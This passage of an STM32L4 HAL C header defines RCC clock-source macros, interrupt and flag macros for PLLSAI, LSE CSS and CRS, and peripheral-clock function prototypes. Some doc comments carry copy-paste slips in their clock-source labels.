LPTIM1 clock * @arg @ref RCC_LPTIM1CLKSOURCE_LSI HSI selected as LPTIM1 clock * @arg @ref RCC_LPTIM1CLKSOURCE_HSI LSI selected as LPTIM1 clock * @arg @ref RCC_LPTIM1CLKSOURCE_LSE LSE selected as LPTIM1 clock * @retval None */ #define __HAL_RCC_LPTIM1_CONFIG(__LPTIM1_CLKSOURCE__) \ MODIFY_REG(RCC->CCIPR, RCC_CCIPR_LPTIM1SEL, (uint32_t)(__LPTIM1_CLKSOURCE__)) /** @brief Macro to get the LPTIM1 clock source. * @retval The clock source can be one of the following values: * @arg @ref RCC_LPTIM1CLKSOURCE_PCLK PCLK selected as LPUART1 clock * @arg @ref RCC_LPTIM1CLKSOURCE_LSI HSI selected as LPUART1 clock * @arg @ref RCC_LPTIM1CLKSOURCE_HSI System Clock selected as LPUART1 clock * @arg @ref RCC_LPTIM1CLKSOURCE_LSE LSE selected as LPUART1 clock */ #define __HAL_RCC_GET_LPTIM1_SOURCE() ((uint32_t)(READ_BIT(RCC->CCIPR, RCC_CCIPR_LPTIM1SEL))) /** @brief Macro to configure the LPTIM2 clock (LPTIM2CLK). * * @param __LPTIM2_CLKSOURCE__ specifies the LPTIM2 clock source. * This parameter can be one of the following values: * @arg @ref RCC_LPTIM2CLKSOURCE_PCLK PCLK selected as LPTIM2 clock * @arg @ref RCC_LPTIM2CLKSOURCE_LSI HSI selected as LPTIM2 clock * @arg @ref RCC_LPTIM2CLKSOURCE_HSI LSI selected as LPTIM2 clock * @arg @ref RCC_LPTIM2CLKSOURCE_LSE LSE selected as LPTIM2 clock * @retval None */ #define __HAL_RCC_LPTIM2_CONFIG(__LPTIM2_CLKSOURCE__) \ MODIFY_REG(RCC->CCIPR, RCC_CCIPR_LPTIM2SEL, (uint32_t)(__LPTIM2_CLKSOURCE__)) /** @brief Macro to get the LPTIM2 clock source. * @retval The clock source can be one of the following values: * @arg @ref RCC_LPTIM2CLKSOURCE_PCLK PCLK selected as LPUART1 clock * @arg @ref RCC_LPTIM2CLKSOURCE_LSI HSI selected as LPUART1 clock * @arg @ref RCC_LPTIM2CLKSOURCE_HSI System Clock selected as LPUART1 clock * @arg @ref RCC_LPTIM2CLKSOURCE_LSE LSE selected as LPUART1 clock */ #define __HAL_RCC_GET_LPTIM2_SOURCE() ((uint32_t)(READ_BIT(RCC->CCIPR, RCC_CCIPR_LPTIM2SEL))) #if defined(SDMMC1) /** @brief Macro to configure the SDMMC1 clock. * @if STM32L486xx * @note USB, RNG and SDMMC1 peripherals share the same 48MHz clock source. @endif * @if STM32L443xx * @note USB, RNG and SDMMC1 peripherals share the same 48MHz clock source. @endif * * @param __SDMMC1_CLKSOURCE__ specifies the SDMMC1 clock source. * This parameter can be one of the following values: @if STM32L486xx * @arg @ref RCC_SDMMC1CLKSOURCE_NONE No clock selected as SDMMC1 clock for devices without HSI48 * @arg @ref RCC_SDMMC1CLKSOURCE_MSI MSI selected as SDMMC1 clock * @arg @ref RCC_SDMMC1CLKSOURCE_PLLSAI1 PLLSAI1 Clock selected as SDMMC1 clock @endif @if STM32L443xx * @arg @ref RCC_SDMMC1CLKSOURCE_HSI48 HSI48 selected as SDMMC1 clock for devices with HSI48 * @arg @ref RCC_SDMMC1CLKSOURCE_MSI MSI selected as SDMMC1 clock * @arg @ref RCC_SDMMC1CLKSOURCE_PLLSAI1 PLLSAI1 Clock selected as SDMMC1 clock @endif * @arg @ref RCC_SDMMC1CLKSOURCE_PLL PLL Clock selected as SDMMC1 clock * @retval None */ #define __HAL_RCC_SDMMC1_CONFIG(__SDMMC1_CLKSOURCE__) \ MODIFY_REG(RCC->CCIPR, RCC_CCIPR_CLK48SEL, (uint32_t)(__SDMMC1_CLKSOURCE__)) /** @brief Macro to get the SDMMC1 clock. * @retval The clock source can be one of the following values: @if STM32L486xx * @arg @ref RCC_SDMMC1CLKSOURCE_NONE No clock selected as SDMMC1 clock for devices without HSI48 * @arg @ref RCC_SDMMC1CLKSOURCE_MSI MSI selected as SDMMC1 clock * @arg @ref RCC_SDMMC1CLKSOURCE_PLLSAI1 PLLSAI1 "Q" clock (PLL48M2CLK) selected as SDMMC1 clock @endif @if STM32L443xx * @arg @ref RCC_SDMMC1CLKSOURCE_HSI48 HSI48 selected as SDMMC1 clock for devices with HSI48 * @arg @ref RCC_SDMMC1CLKSOURCE_MSI MSI selected as SDMMC1 clock * @arg @ref RCC_SDMMC1CLKSOURCE_PLLSAI1 PLLSAI1 "Q" clock (PLL48M2CLK) selected as SDMMC1 clock @endif * @arg @ref RCC_SDMMC1CLKSOURCE_PLL PLL "Q" clock (PLL48M1CLK) selected as SDMMC1 clock */ #define __HAL_RCC_GET_SDMMC1_SOURCE() ((uint32_t)(READ_BIT(RCC->CCIPR, RCC_CCIPR_CLK48SEL))) #endif /* SDMMC1 */ /** @brief Macro to configure the RNG clock. * * @note USB, RNG and SDMMC1 peripherals share the same 48MHz clock source. * * @param __RNG_CLKSOURCE__ specifies the RNG clock source. * This parameter can be one of the following values: @if STM32L486xx * @arg @ref RCC_RNGCLKSOURCE_NONE No clock selected as RNG clock for devices without HSI48 @endif @if STM32L443xx * @arg @ref RCC_RNGCLKSOURCE_HSI48 HSI48 selected as RNG clock clock for devices with HSI48 @endif * @arg @ref RCC_RNGCLKSOURCE_MSI MSI selected as RNG clock * @arg @ref RCC_RNGCLKSOURCE_PLLSAI1 PLLSAI1 Clock selected as RNG clock * @arg @ref RCC_RNGCLKSOURCE_PLL PLL Clock selected as RNG clock * @retval None */ #define __HAL_RCC_RNG_CONFIG(__RNG_CLKSOURCE__) \ MODIFY_REG(RCC->CCIPR, RCC_CCIPR_CLK48SEL, (uint32_t)(__RNG_CLKSOURCE__)) /** @brief Macro to get the RNG clock. * @retval The clock source can be one of the following values: @if STM32L486xx * @arg @ref RCC_RNGCLKSOURCE_NONE No clock selected as RNG clock for devices without HSI48 @endif @if STM32L443xx * @arg @ref RCC_RNGCLKSOURCE_HSI48 HSI48 selected as RNG clock clock for devices with HSI48 @endif * @arg @ref RCC_RNGCLKSOURCE_MSI MSI selected as RNG clock * @arg @ref RCC_RNGCLKSOURCE_PLLSAI1 PLLSAI1 "Q" clock (PLL48M2CLK) selected as RNG clock * @arg @ref RCC_RNGCLKSOURCE_PLL PLL "Q" clock (PLL48M1CLK) selected as RNG clock */ #define __HAL_RCC_GET_RNG_SOURCE() ((uint32_t)(READ_BIT(RCC->CCIPR, RCC_CCIPR_CLK48SEL))) #if defined(USB_OTG_FS) || defined(USB) /** @brief Macro to configure the USB clock (USBCLK). * * @note USB, RNG and SDMMC1 peripherals share the same 48MHz clock source. * * @param __USB_CLKSOURCE__ specifies the USB clock source. * This parameter can be one of the following values: @if STM32L486xx * @arg @ref RCC_USBCLKSOURCE_NONE No clock selected as 48MHz clock for devices without HSI48 @endif @if STM32L443xx * @arg @ref RCC_USBCLKSOURCE_HSI48 HSI48 selected as 48MHz clock for devices with HSI48 @endif * @arg @ref RCC_USBCLKSOURCE_MSI MSI selected as USB clock * @arg @ref RCC_USBCLKSOURCE_PLLSAI1 PLLSAI1 "Q" clock (PLL48M2CLK) selected as USB clock * @arg @ref RCC_USBCLKSOURCE_PLL PLL "Q" clock (PLL48M1CLK) selected as USB clock * @retval None */ #define __HAL_RCC_USB_CONFIG(__USB_CLKSOURCE__) \ MODIFY_REG(RCC->CCIPR, RCC_CCIPR_CLK48SEL, (uint32_t)(__USB_CLKSOURCE__)) /** @brief Macro to get the USB clock source. * @retval The clock source can be one of the following values: @if STM32L486xx * @arg @ref RCC_USBCLKSOURCE_NONE No clock selected as 48MHz clock for devices without HSI48 @endif @if STM32L443xx * @arg @ref RCC_USBCLKSOURCE_HSI48 HSI48 selected as 48MHz clock for devices with HSI48 @endif * @arg @ref RCC_USBCLKSOURCE_MSI MSI selected as USB clock * @arg @ref RCC_USBCLKSOURCE_PLLSAI1 PLLSAI1 "Q" clock (PLL48M2CLK) selected as USB clock * @arg @ref RCC_USBCLKSOURCE_PLL PLL "Q" clock (PLL48M1CLK) selected as USB clock */ #define __HAL_RCC_GET_USB_SOURCE() ((uint32_t)(READ_BIT(RCC->CCIPR, RCC_CCIPR_CLK48SEL))) #endif /* USB_OTG_FS || USB */ /** @brief Macro to configure the ADC interface clock. * @param __ADC_CLKSOURCE__ specifies the ADC digital interface clock source. * This parameter can be one of the following values: * @arg @ref RCC_ADCCLKSOURCE_NONE No clock selected as ADC clock * @arg @ref RCC_ADCCLKSOURCE_PLLSAI1 PLLSAI1 Clock selected as ADC clock @if STM32L486xx * @arg @ref RCC_ADCCLKSOURCE_PLLSAI2 PLLSAI2 Clock selected as ADC clock for STM32L47x/STM32L48x/STM32L49x/STM32L4Ax devices @endif * @arg @ref RCC_ADCCLKSOURCE_SYSCLK System Clock selected as ADC clock * @retval None */ #define __HAL_RCC_ADC_CONFIG(__ADC_CLKSOURCE__) \ MODIFY_REG(RCC->CCIPR, RCC_CCIPR_ADCSEL, (uint32_t)(__ADC_CLKSOURCE__)) /** @brief Macro to get the ADC clock source. * @retval The clock source can be one of the following values: * @arg @ref RCC_ADCCLKSOURCE_NONE No clock selected as ADC clock * @arg @ref RCC_ADCCLKSOURCE_PLLSAI1 PLLSAI1 Clock selected as ADC clock @if STM32L486xx * @arg @ref RCC_ADCCLKSOURCE_PLLSAI2 PLLSAI2 Clock selected as ADC clock for STM32L47x/STM32L48x/STM32L49x/STM32L4Ax devices @endif * @arg @ref RCC_ADCCLKSOURCE_SYSCLK System Clock selected as ADC clock */ #define __HAL_RCC_GET_ADC_SOURCE() ((uint32_t)(READ_BIT(RCC->CCIPR, RCC_CCIPR_ADCSEL))) #if defined(SWPMI1) /** @brief Macro to configure the SWPMI1 clock. * @param __SWPMI1_CLKSOURCE__ specifies the SWPMI1 clock source. * This parameter can be one of the following values: * @arg @ref RCC_SWPMI1CLKSOURCE_PCLK PCLK Clock selected as SWPMI1 clock * @arg @ref RCC_SWPMI1CLKSOURCE_HSI HSI Clock selected as SWPMI1 clock * @retval None */ #define __HAL_RCC_SWPMI1_CONFIG(__SWPMI1_CLKSOURCE__) \ MODIFY_REG(RCC->CCIPR, RCC_CCIPR_SWPMI1SEL, (uint32_t)(__SWPMI1_CLKSOURCE__)) /** @brief Macro to get the SWPMI1 clock source. * @retval The clock source can be one of the following values: * @arg @ref RCC_SWPMI1CLKSOURCE_PCLK PCLK Clock selected as SWPMI1 clock * @arg @ref RCC_SWPMI1CLKSOURCE_HSI HSI Clock selected as SWPMI1 clock */ #define __HAL_RCC_GET_SWPMI1_SOURCE() ((uint32_t)(READ_BIT(RCC->CCIPR, RCC_CCIPR_SWPMI1SEL))) #endif /* SWPMI1 */ #if defined(DFSDM1_Filter0) /** @brief Macro to configure the DFSDM1 clock. * @param __DFSDM1_CLKSOURCE__ specifies the DFSDM1 clock source. * This parameter can be one of the following values: * @arg @ref RCC_DFSDM1CLKSOURCE_PCLK PCLK Clock selected as DFSDM1 clock * @arg @ref RCC_DFSDM1CLKSOURCE_SYSCLK System Clock selected as DFSDM1 clock * @retval None */ #define __HAL_RCC_DFSDM1_CONFIG(__DFSDM1_CLKSOURCE__) \ MODIFY_REG(RCC->CCIPR, RCC_CCIPR_DFSDM1SEL, (uint32_t)(__DFSDM1_CLKSOURCE__)) /** @brief Macro to get the DFSDM1 clock source. * @retval The clock source can be one of the following values: * @arg @ref RCC_DFSDM1CLKSOURCE_PCLK PCLK Clock selected as DFSDM1 clock * @arg @ref RCC_DFSDM1CLKSOURCE_SYSCLK System Clock selected as DFSDM1 clock */ #define __HAL_RCC_GET_DFSDM1_SOURCE() ((uint32_t)(READ_BIT(RCC->CCIPR, RCC_CCIPR_DFSDM1SEL))) #endif /* DFSDM1_Filter0 */ /** @defgroup RCCEx_Flags_Interrupts_Management Flags Interrupts Management * @brief macros to manage the specified RCC Flags and interrupts. * @{ */ /** @brief Enable PLLSAI1RDY interrupt. * @retval None */ #define __HAL_RCC_PLLSAI1_ENABLE_IT() SET_BIT(RCC->CIER, RCC_CIER_PLLSAI1RDYIE) /** @brief Disable PLLSAI1RDY interrupt. * @retval None */ #define __HAL_RCC_PLLSAI1_DISABLE_IT() CLEAR_BIT(RCC->CIER, RCC_CIER_PLLSAI1RDYIE) /** @brief Clear the PLLSAI1RDY interrupt pending bit. * @retval None */ #define __HAL_RCC_PLLSAI1_CLEAR_IT() WRITE_REG(RCC->CICR, RCC_CICR_PLLSAI1RDYC) /** @brief Check whether PLLSAI1RDY interrupt has occurred or not. * @retval TRUE or FALSE. */ #define __HAL_RCC_PLLSAI1_GET_IT_SOURCE() (READ_BIT(RCC->CIFR, RCC_CIFR_PLLSAI1RDYF) == RCC_CIFR_PLLSAI1RDYF) /** @brief Check whether the PLLSAI1RDY flag is set or not. * @retval TRUE or FALSE. */ #define __HAL_RCC_PLLSAI1_GET_FLAG() (READ_BIT(RCC->CR, RCC_CR_PLLSAI1RDY) == (RCC_CR_PLLSAI1RDY)) #if defined(RCC_PLLSAI2_SUPPORT) /** @brief Enable PLLSAI2RDY interrupt. * @retval None */ #define __HAL_RCC_PLLSAI2_ENABLE_IT() SET_BIT(RCC->CIER, RCC_CIER_PLLSAI2RDYIE) /** @brief Disable PLLSAI2RDY interrupt. * @retval None */ #define __HAL_RCC_PLLSAI2_DISABLE_IT() CLEAR_BIT(RCC->CIER, RCC_CIER_PLLSAI2RDYIE) /** @brief Clear the PLLSAI2RDY interrupt pending bit. * @retval None */ #define __HAL_RCC_PLLSAI2_CLEAR_IT() WRITE_REG(RCC->CICR, RCC_CICR_PLLSAI2RDYC) /** @brief Check whether the PLLSAI2RDY interrupt has occurred or not. * @retval TRUE or FALSE. */ #define __HAL_RCC_PLLSAI2_GET_IT_SOURCE() (READ_BIT(RCC->CIFR, RCC_CIFR_PLLSAI2RDYF) == RCC_CIFR_PLLSAI2RDYF) /** @brief Check whether the PLLSAI2RDY flag is set or not. * @retval TRUE or FALSE. */ #define __HAL_RCC_PLLSAI2_GET_FLAG() (READ_BIT(RCC->CR, RCC_CR_PLLSAI2RDY) == (RCC_CR_PLLSAI2RDY)) #endif /* RCC_PLLSAI2_SUPPORT */ /** * @brief Enable the RCC LSE CSS Extended Interrupt Line. * @retval None */ #define __HAL_RCC_LSECSS_EXTI_ENABLE_IT() SET_BIT(EXTI->IMR1, RCC_EXTI_LINE_LSECSS) /** * @brief Disable the RCC LSE CSS Extended Interrupt Line. * @retval None */ #define __HAL_RCC_LSECSS_EXTI_DISABLE_IT() CLEAR_BIT(EXTI->IMR1, RCC_EXTI_LINE_LSECSS) /** * @brief Enable the RCC LSE CSS Event Line. * @retval None. */ #define __HAL_RCC_LSECSS_EXTI_ENABLE_EVENT() SET_BIT(EXTI->EMR1, RCC_EXTI_LINE_LSECSS) /** * @brief Disable the RCC LSE CSS Event Line. * @retval None. */ #define __HAL_RCC_LSECSS_EXTI_DISABLE_EVENT() CLEAR_BIT(EXTI->EMR1, RCC_EXTI_LINE_LSECSS) /** * @brief Enable the RCC LSE CSS Extended Interrupt Falling Trigger. * @retval None. */ #define __HAL_RCC_LSECSS_EXTI_ENABLE_FALLING_EDGE() SET_BIT(EXTI->FTSR1, RCC_EXTI_LINE_LSECSS) /** * @brief Disable the RCC LSE CSS Extended Interrupt Falling Trigger. * @retval None. */ #define __HAL_RCC_LSECSS_EXTI_DISABLE_FALLING_EDGE() CLEAR_BIT(EXTI->FTSR1, RCC_EXTI_LINE_LSECSS) /** * @brief Enable the RCC LSE CSS Extended Interrupt Rising Trigger. * @retval None. */ #define __HAL_RCC_LSECSS_EXTI_ENABLE_RISING_EDGE() SET_BIT(EXTI->RTSR1, RCC_EXTI_LINE_LSECSS) /** * @brief Disable the RCC LSE CSS Extended Interrupt Rising Trigger. * @retval None. */ #define __HAL_RCC_LSECSS_EXTI_DISABLE_RISING_EDGE() CLEAR_BIT(EXTI->RTSR1, RCC_EXTI_LINE_LSECSS) /** * @brief Enable the RCC LSE CSS Extended Interrupt Rising & Falling Trigger. * @retval None. */ #define __HAL_RCC_LSECSS_EXTI_ENABLE_RISING_FALLING_EDGE() \ do { \ __HAL_RCC_LSECSS_EXTI_ENABLE_RISING_EDGE(); \ __HAL_RCC_LSECSS_EXTI_ENABLE_FALLING_EDGE(); \ } while(0) /** * @brief Disable the RCC LSE CSS Extended Interrupt Rising & Falling Trigger. * @retval None. */ #define __HAL_RCC_LSECSS_EXTI_DISABLE_RISING_FALLING_EDGE() \ do { \ __HAL_RCC_LSECSS_EXTI_DISABLE_RISING_EDGE(); \ __HAL_RCC_LSECSS_EXTI_DISABLE_FALLING_EDGE(); \ } while(0) /** * @brief Check whether the specified RCC LSE CSS EXTI interrupt flag is set or not. * @retval EXTI RCC LSE CSS Line Status. */ #define __HAL_RCC_LSECSS_EXTI_GET_FLAG() (READ_BIT(EXTI->PR1, RCC_EXTI_LINE_LSECSS) == RCC_EXTI_LINE_LSECSS) /** * @brief Clear the RCC LSE CSS EXTI flag. * @retval None. */ #define __HAL_RCC_LSECSS_EXTI_CLEAR_FLAG() WRITE_REG(EXTI->PR1, RCC_EXTI_LINE_LSECSS) /** * @brief Generate a Software interrupt on the RCC LSE CSS EXTI line. * @retval None. */ #define __HAL_RCC_LSECSS_EXTI_GENERATE_SWIT() SET_BIT(EXTI->SWIER1, RCC_EXTI_LINE_LSECSS) #if defined(CRS) /** * @brief Enable the specified CRS interrupts. * @param __INTERRUPT__ specifies the CRS interrupt sources to be enabled. * This parameter can be any combination of the following values: * @arg @ref RCC_CRS_IT_SYNCOK SYNC event OK interrupt * @arg @ref RCC_CRS_IT_SYNCWARN SYNC warning interrupt * @arg @ref RCC_CRS_IT_ERR Synchronization or trimming error interrupt * @arg @ref RCC_CRS_IT_ESYNC Expected SYNC interrupt * @retval None */ #define __HAL_RCC_CRS_ENABLE_IT(__INTERRUPT__) SET_BIT(CRS->CR, (__INTERRUPT__)) /** * @brief Disable the specified CRS interrupts. * @param __INTERRUPT__ specifies the CRS interrupt sources to be disabled. * This parameter can be any combination of the following values: * @arg @ref RCC_CRS_IT_SYNCOK SYNC event OK interrupt * @arg @ref RCC_CRS_IT_SYNCWARN SYNC warning interrupt * @arg @ref RCC_CRS_IT_ERR Synchronization or trimming error interrupt * @arg @ref RCC_CRS_IT_ESYNC Expected SYNC interrupt * @retval None */ #define __HAL_RCC_CRS_DISABLE_IT(__INTERRUPT__) CLEAR_BIT(CRS->CR, (__INTERRUPT__)) /** @brief Check whether the CRS interrupt has occurred or not. * @param __INTERRUPT__ specifies the CRS interrupt source to check. * This parameter can be one of the following values: * @arg @ref RCC_CRS_IT_SYNCOK SYNC event OK interrupt * @arg @ref RCC_CRS_IT_SYNCWARN SYNC warning interrupt * @arg @ref RCC_CRS_IT_ERR Synchronization or trimming error interrupt * @arg @ref RCC_CRS_IT_ESYNC Expected SYNC interrupt * @retval The new state of __INTERRUPT__ (SET or RESET). */ #define __HAL_RCC_CRS_GET_IT_SOURCE(__INTERRUPT__) ((READ_BIT(CRS->CR, (__INTERRUPT__)) != RESET) ? SET : RESET) /** @brief Clear the CRS interrupt pending bits * @param __INTERRUPT__ specifies the interrupt pending bit to clear. * This parameter can be any combination of the following values: * @arg @ref RCC_CRS_IT_SYNCOK SYNC event OK interrupt * @arg @ref RCC_CRS_IT_SYNCWARN SYNC warning interrupt * @arg @ref RCC_CRS_IT_ERR Synchronization or trimming error interrupt * @arg @ref RCC_CRS_IT_ESYNC Expected SYNC interrupt * @arg @ref RCC_CRS_IT_TRIMOVF Trimming overflow or underflow interrupt * @arg @ref RCC_CRS_IT_SYNCERR SYNC error interrupt * @arg @ref RCC_CRS_IT_SYNCMISS SYNC missed interrupt */ /* CRS IT Error Mask */ #define RCC_CRS_IT_ERROR_MASK ((uint32_t)(RCC_CRS_IT_TRIMOVF | RCC_CRS_IT_SYNCERR | RCC_CRS_IT_SYNCMISS)) #define __HAL_RCC_CRS_CLEAR_IT(__INTERRUPT__) do { \ if(((__INTERRUPT__) & RCC_CRS_IT_ERROR_MASK) != RESET) \ { \ WRITE_REG(CRS->ICR, CRS_ICR_ERRC | ((__INTERRUPT__) & ~RCC_CRS_IT_ERROR_MASK)); \ } \ else \ { \ WRITE_REG(CRS->ICR, (__INTERRUPT__)); \ } \ } while(0) /** * @brief Check whether the specified CRS flag is set or not. * @param __FLAG__ specifies the flag to check. * This parameter can be one of the following values: * @arg @ref RCC_CRS_FLAG_SYNCOK SYNC event OK * @arg @ref RCC_CRS_FLAG_SYNCWARN SYNC warning * @arg @ref RCC_CRS_FLAG_ERR Error * @arg @ref RCC_CRS_FLAG_ESYNC Expected SYNC * @arg @ref RCC_CRS_FLAG_TRIMOVF Trimming overflow or underflow * @arg @ref RCC_CRS_FLAG_SYNCERR SYNC error * @arg @ref RCC_CRS_FLAG_SYNCMISS SYNC missed * @retval The new state of _FLAG_ (TRUE or FALSE). */ #define __HAL_RCC_CRS_GET_FLAG(__FLAG__) (READ_BIT(CRS->ISR, (__FLAG__)) == (__FLAG__)) /** * @brief Clear the CRS specified FLAG. * @param __FLAG__ specifies the flag to clear. * This parameter can be one of the following values: * @arg @ref RCC_CRS_FLAG_SYNCOK SYNC event OK * @arg @ref RCC_CRS_FLAG_SYNCWARN SYNC warning * @arg @ref RCC_CRS_FLAG_ERR Error * @arg @ref RCC_CRS_FLAG_ESYNC Expected SYNC * @arg @ref RCC_CRS_FLAG_TRIMOVF Trimming overflow or underflow * @arg @ref RCC_CRS_FLAG_SYNCERR SYNC error * @arg @ref RCC_CRS_FLAG_SYNCMISS SYNC missed * @note RCC_CRS_FLAG_ERR clears RCC_CRS_FLAG_TRIMOVF, RCC_CRS_FLAG_SYNCERR, RCC_CRS_FLAG_SYNCMISS and consequently RCC_CRS_FLAG_ERR * @retval None */ /* CRS Flag Error Mask */ #define RCC_CRS_FLAG_ERROR_MASK ((uint32_t)(RCC_CRS_FLAG_TRIMOVF | RCC_CRS_FLAG_SYNCERR | RCC_CRS_FLAG_SYNCMISS)) #define __HAL_RCC_CRS_CLEAR_FLAG(__FLAG__) do { \ if(((__FLAG__) & RCC_CRS_FLAG_ERROR_MASK) != RESET) \ { \ WRITE_REG(CRS->ICR, CRS_ICR_ERRC | ((__FLAG__) & ~RCC_CRS_FLAG_ERROR_MASK)); \ } \ else \ { \ WRITE_REG(CRS->ICR, (__FLAG__)); \ } \ } while(0) #endif /* CRS */ /** * @} */ #if defined(CRS) /** @defgroup RCCEx_CRS_Extended_Features RCCEx CRS Extended Features * @{ */ /** * @brief Enable the oscillator clock for frequency error counter. * @note when the CEN bit is set the CRS_CFGR register becomes write-protected. * @retval None */ #define __HAL_RCC_CRS_FREQ_ERROR_COUNTER_ENABLE() SET_BIT(CRS->CR, CRS_CR_CEN) /** * @brief Disable the oscillator clock for frequency error counter. * @retval None */ #define __HAL_RCC_CRS_FREQ_ERROR_COUNTER_DISABLE() CLEAR_BIT(CRS->CR, CRS_CR_CEN) /** * @brief Enable the automatic hardware adjustement of TRIM bits. * @note When the AUTOTRIMEN bit is set the CRS_CFGR register becomes write-protected. * @retval None */ #define __HAL_RCC_CRS_AUTOMATIC_CALIB_ENABLE() SET_BIT(CRS->CR, CRS_CR_AUTOTRIMEN) /** * @brief Enable or disable the automatic hardware adjustement of TRIM bits. * @retval None */ #define __HAL_RCC_CRS_AUTOMATIC_CALIB_DISABLE() CLEAR_BIT(CRS->CR, CRS_CR_AUTOTRIMEN) /** * @brief Macro to calculate reload value to be set in CRS register according to target and sync frequencies * @note The RELOAD value should be selected according to the ratio between the target frequency and the frequency * of the synchronization source after prescaling. It is then decreased by one in order to * reach the expected synchronization on the zero value. The formula is the following: * RELOAD = (fTARGET / fSYNC) -1 * @param __FTARGET__ Target frequency (value in Hz) * @param __FSYNC__ Synchronization signal frequency (value in Hz) * @retval None */ #define __HAL_RCC_CRS_RELOADVALUE_CALCULATE(__FTARGET__, __FSYNC__) (((__FTARGET__) / (__FSYNC__)) - 1U) /** * @} */ #endif /* CRS */ /** * @} */ /* Exported functions --------------------------------------------------------*/ /** @addtogroup RCCEx_Exported_Functions * @{ */ /** @addtogroup RCCEx_Exported_Functions_Group1 * @{ */ HAL_StatusTypeDef HAL_RCCEx_PeriphCLKConfig(RCC_PeriphCLKInitTypeDef *PeriphClkInit); void HAL_RCCEx_GetPeriphCLKConfig(RCC_PeriphCLKInitTypeDef *PeriphClkInit); uint32_t HAL_RCCEx_GetPeriphCLKFreq(uint32_t PeriphClk); /** * @} */ /** @addtogroup RCCEx_Exported_Functions_Group2 * @{ */ HAL_StatusTypeDef HAL_RCCEx_EnablePLLSAI1(RCC_PLLSAI1InitTypeDef *PLLSAI1Init); HAL_StatusTypeDef HAL_RCCEx_DisablePLLSAI1(void); #if defined(RCC_PLLSAI2_SUPPORT) HAL_StatusTypeDef HAL_RCCEx_EnablePLLSAI2(RCC_PLLSAI2InitTypeDef *PLLSAI2Init); HAL_StatusTypeDef HAL_RCCEx_DisablePLLSAI2(void); #endif /* RCC_PLLSAI2_SUPPORT */ void HAL_RCCEx_WakeUpStopCLKConfig(uint32_t WakeUpClk); void HAL_RCCEx_StandbyMSIRangeConfig(uint32_t MSIRange); void HAL_RCCEx_EnableLSECSS(void); void HAL_RCCEx_DisableLSECSS(void); void HAL_RCCEx_EnableLSECSS_IT(void); void HAL_RCCEx_LSECSS_IRQHandler(void); void HAL_RCCEx_LSECSS_Callback(void); void HAL_RCCEx_EnableLSCO(uint32_t LSCOSource); void HAL_RCCEx_DisableLSCO(void); void HAL_RCCEx_EnableMSIPLLMode(void); void HAL_RCCEx_DisableMSIPLLMode(void); /** * @} */ #if defined(CRS) /** @addtogroup RCCEx_Exported_Functions_Group3 * @{ */ void HAL_RCCEx_CRSConfig(RCC_CRSInitTypeDef *pInit); void HAL_RCCEx_CRSSoftwareSynchronizationGenerate(void); void HAL_RCCEx_CRSGetSynchronizationInfo(RCC_CRSSynchroInfoTypeDef *pSynchroInfo); uint32_t HAL_RCCEx_CRSWaitSynchronization(uint32_t Timeout); void HAL_RCCEx_CRS_IRQHandler(void); void HAL_RCCEx_CRS_SyncOkCallback(void); void HAL_RCCEx_CRS_SyncWarnCallback(void); void HAL_RCCEx_CRS_ExpectedSyncCallback(void); void HAL_RCCEx_CRS_ErrorCallback(uint32_t Error); /** * @} */ #endif /* CRS */ /** * @} */ /* Private macros ------------------------------------------------------------*/ /** @addtogroup RCCEx_Private_Macros * @{ */ #define IS_RCC_LSCOSOURCE(__SOURCE__) (((__SOURCE__) == RCC_LSCOSOURCE_LSI) || \ ((__SOURCE__) == RCC_LSCOSOURCE_LSE)) #if defined(STM32L431xx) #define IS_RCC_PERIPHCLOCK(__SELECTION__) \ ((((__SELECTION__) & RCC_PERIPHCLK_USART1) == RCC_PERIPHCLK_USART1) || \ (((__SELECTION__) & RCC_PERIPHCLK_USART2) == RCC_PERIPHCLK_USART2) || \ (((__SELECTION__) & RCC_PERIPHCLK_USART3) == RCC_PERIPHCLK_USART3) || \ (((__SELECTION__) & RCC_PERIPHCLK_LPUART1) == RCC_PERIPHCLK_LPUART1) || \ (((__SELECTION__) & RCC_PERIPHCLK_I2C1) == RCC_PERIPHCLK_I2C1) || \ (((__SELECTION__) & RCC_PERIPHCLK_I2C2) == RCC_PERIPHCLK_I2C2) || \ (((__SELECTION__) & RCC_PERIPHCLK_I2C3) == RCC_PERIPHCLK_I2C3) || \ (((__SELECTION__) & RCC_PERIPHCLK_LPTIM1) == RCC_PERIPHCLK_LPTIM1) || \ (((__SELECTION__) & RCC_PERIPHCLK_LPTIM2) == RCC_PERIPHCLK_LPTIM2) || \ (((__SELECTION__) & RCC_PERIPHCLK_SAI1) == RCC_PERIPHCLK_SAI1) || \ (((__SELECTION__) & RCC_PERIPHCLK_ADC) == RCC_PERIPHCLK_ADC) || \ (((__SELECTION__) & RCC_PERIPHCLK_SWPMI1) == RCC_PERIPHCLK_SWPMI1) || \ (((__SELECTION__) & RCC_PERIPHCLK_RTC) == RCC_PERIPHCLK_RTC) || \ (((__SELECTION__) & RCC_PERIPHCLK_RNG) == RCC_PERIPHCLK_RNG) || \ (((__SELECTION__) & RCC_PERIPHCLK_SDMMC1) == RCC_PERIPHCLK_SDMMC1)) #elif defined(STM32L432xx) || defined(STM32L442xx) #define IS_RCC_PERIPHCLOCK(__SELECTION__) \ ((((__SELECTION__) & RCC_PERIPHCLK_USART1) == RCC_PERIPHCLK_USART1) || \ (((__SELECTION__) & RCC_PERIPHCLK_USART2) == RCC_PERIPHCLK_USART2) || \ (((__SELECTION__) & RCC_PERIPHCLK_LPUART1) == RCC_PERIPHCLK_LPUART1) || \ (((__SELECTION__) & RCC_PERIPHCLK_I2C1) == RCC_PERIPHCLK_I2C1) || \ (((__SELECTION__) & RCC_PERIPHCLK_I2C3) == RCC_PERIPHCLK_I2C3) || \ (((__SELECTION__) & RCC_PERIPHCLK_LPTIM1) == RCC_PERIPHCLK_LPTIM1) || \ (((__SELECTION__) & RCC_PERIPHCLK_LPTIM2) == RCC_PERIPHCLK_LPTIM2) || \ (((__SELECTION__) & RCC_PERIPHCLK_SAI1) == RCC_PERIPHCLK_SAI1) || \ (((__SELECTION__) & RCC_PERIPHCLK_USB) == RCC_PERIPHCLK_USB) || \ (((__SELECTION__) & RCC_PERIPHCLK_ADC) == RCC_PERIPHCLK_ADC) || \ (((__SELECTION__) & RCC_PERIPHCLK_SWPMI1) == RCC_PERIPHCLK_SWPMI1) || \ (((__SELECTION__) & RCC_PERIPHCLK_RTC) == RCC_PERIPHCLK_RTC) || \ (((__SELECTION__) & RCC_PERIPHCLK_RNG) == RCC_PERIPHCLK_RNG)) #elif defined(STM32L433xx) || defined(STM32L443xx) #define 